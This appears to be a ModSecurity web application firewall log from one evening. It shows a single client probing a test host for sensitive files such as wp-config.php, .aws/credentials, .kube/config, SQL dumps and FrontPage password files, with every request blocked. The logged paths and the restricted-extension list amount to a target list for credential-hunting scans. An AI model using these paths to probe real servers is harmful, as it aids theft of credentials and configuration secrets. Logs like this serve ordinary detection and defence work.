[Wed Jan 15 22:36:37.079177 2025] [:error] [pid 483299] [client 213.232.87.228:44883] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4gqZVr6rimmzaD00c3PbAAAAAI"]
[Wed Jan 15 22:36:37.079394 2025] [:error] [pid 483299] [client 213.232.87.228:44883] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4gqZVr6rimmzaD00c3PbAAAAAI"]
[Wed Jan 15 22:36:37.079564 2025] [:error] [pid 483299] [client 213.232.87.228:44883] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4gqZVr6rimmzaD00c3PbAAAAAI"]
[Wed Jan 15 22:36:37.076984 2025] [:error] [pid 497008] [client 213.232.87.228:28693] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/authors.pwd"] [unique_id "Z4gqZSjvXIXhwCuGqkvbVAAAAA8"]
[Wed Jan 15 22:36:37.086580 2025] [:error] [pid 497008] [client 213.232.87.228:28693] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/authors.pwd"] [unique_id "Z4gqZSjvXIXhwCuGqkvbVAAAAA8"]
[Wed Jan 15 22:36:37.086796 2025] [:error] [pid 497008] [client 213.232.87.228:28693] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/authors.pwd"] [unique_id "Z4gqZSjvXIXhwCuGqkvbVAAAAA8"]
[Wed Jan 15 22:36:37.078001 2025] [authz_core:error] [pid 486747] [client 213.232.87.228:54623] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Jan 15 22:36:37.078784 2025] [:error] [pid 489190] [client 213.232.87.228:42299] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4gqZfGQNR7qDEtyIGfFrgAAAAE"]
[Wed Jan 15 22:36:37.078986 2025] [:error] [pid 496999] [client 213.232.87.228:24995] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z4gqZamdLlLWk7rgxcDmgAAAAAU"]
[Wed Jan 15 22:36:37.088153 2025] [:error] [pid 489190] [client 213.232.87.228:42299] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4gqZfGQNR7qDEtyIGfFrgAAAAE"]
[Wed Jan 15 22:36:37.088299 2025] [:error] [pid 496999] [client 213.232.87.228:24995] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z4gqZamdLlLWk7rgxcDmgAAAAAU"]
[Wed Jan 15 22:36:37.088330 2025] [:error] [pid 489190] [client 213.232.87.228:42299] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4gqZfGQNR7qDEtyIGfFrgAAAAE"]
[Wed Jan 15 22:36:37.088468 2025] [:error] [pid 496999] [client 213.232.87.228:24995] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z4gqZamdLlLWk7rgxcDmgAAAAAU"]
[Wed Jan 15 22:36:37.088516 2025] [:error] [pid 489190] [client 213.232.87.228:42299] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4gqZfGQNR7qDEtyIGfFrgAAAAE"]
[Wed Jan 15 22:36:37.214647 2025] [:error] [pid 496999] [client 213.232.87.228:45029] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "Z4gqZamdLlLWk7rgxcDmgQAAAAU"]
[Wed Jan 15 22:36:37.214966 2025] [:error] [pid 496999] [client 213.232.87.228:45029] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "Z4gqZamdLlLWk7rgxcDmgQAAAAU"]
[Wed Jan 15 22:36:37.215128 2025] [:error] [pid 496999] [client 213.232.87.228:45029] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "Z4gqZamdLlLWk7rgxcDmgQAAAAU"]
[Wed Jan 15 22:36:37.223337 2025] [:error] [pid 497027] [client 213.232.87.228:20191] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z4gqZbIneUQjChqCfZ92DAAAAAQ"]
[Wed Jan 15 22:36:37.223702 2025] [:error] [pid 497027] [client 213.232.87.228:20191] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z4gqZbIneUQjChqCfZ92DAAAAAQ"]
[Wed Jan 15 22:36:37.223904 2025] [:error] [pid 497027] [client 213.232.87.228:20191] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z4gqZbIneUQjChqCfZ92DAAAAAQ"]
[Wed Jan 15 22:36:37.359916 2025] [:error] [pid 496999] [client 213.232.87.228:47697] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4gqZamdLlLWk7rgxcDmggAAAAU"]
[Wed Jan 15 22:36:37.360207 2025] [:error] [pid 496999] [client 213.232.87.228:47697] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4gqZamdLlLWk7rgxcDmggAAAAU"]
[Wed Jan 15 22:36:37.360500 2025] [:error] [pid 496999] [client 213.232.87.228:47697] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4gqZamdLlLWk7rgxcDmggAAAAU"]
[Wed Jan 15 22:36:37.374548 2025] [:error] [pid 497000] [client 213.232.87.228:61595] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z4gqZQLOlDfhLeCVl2z0xgAAAAc"]
[Wed Jan 15 22:36:37.374860 2025] [:error] [pid 497000] [client 213.232.87.228:61595] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z4gqZQLOlDfhLeCVl2z0xgAAAAc"]
[Wed Jan 15 22:36:37.375028 2025] [:error] [pid 497000] [client 213.232.87.228:61595] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z4gqZQLOlDfhLeCVl2z0xgAAAAc"]
[Wed Jan 15 22:36:37.435284 2025] [:error] [pid 486747] [client 213.232.87.228:32141] [client 213.232.87.228] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4gqZTU0JVKWBLdbK-asTQAAAAA"]
[Wed Jan 15 22:36:37.435528 2025] [:error] [pid 486747] [client 213.232.87.228:32141] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4gqZTU0JVKWBLdbK-asTQAAAAA"]
[Wed Jan 15 22:36:37.435715 2025] [:error] [pid 486747] [client 213.232.87.228:32141] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4gqZTU0JVKWBLdbK-asTQAAAAA"]
[Wed Jan 15 22:36:37.474435 2025] [:error] [pid 496999] [client 213.232.87.228:47877] [client 213.232.87.228] ModSecurity: Warning. Matched phrase ".kube/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Z4gqZamdLlLWk7rgxcDmgwAAAAU"]
[Wed Jan 15 22:36:37.474660 2025] [:error] [pid 496999] [client 213.232.87.228:47877] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Z4gqZamdLlLWk7rgxcDmgwAAAAU"]
[Wed Jan 15 22:36:37.474821 2025] [:error] [pid 496999] [client 213.232.87.228:47877] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Z4gqZamdLlLWk7rgxcDmgwAAAAU"]
[Wed Jan 15 22:36:37.708260 2025] [:error] [pid 496994] [client 213.232.87.228:47487] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z4gqZVGvN_7u0pQk47_MqwAAAAM"]
[Wed Jan 15 22:36:37.708557 2025] [:error] [pid 496994] [client 213.232.87.228:47487] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z4gqZVGvN_7u0pQk47_MqwAAAAM"]
[Wed Jan 15 22:36:37.708740 2025] [:error] [pid 496994] [client 213.232.87.228:47487] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z4gqZVGvN_7u0pQk47_MqwAAAAM"]
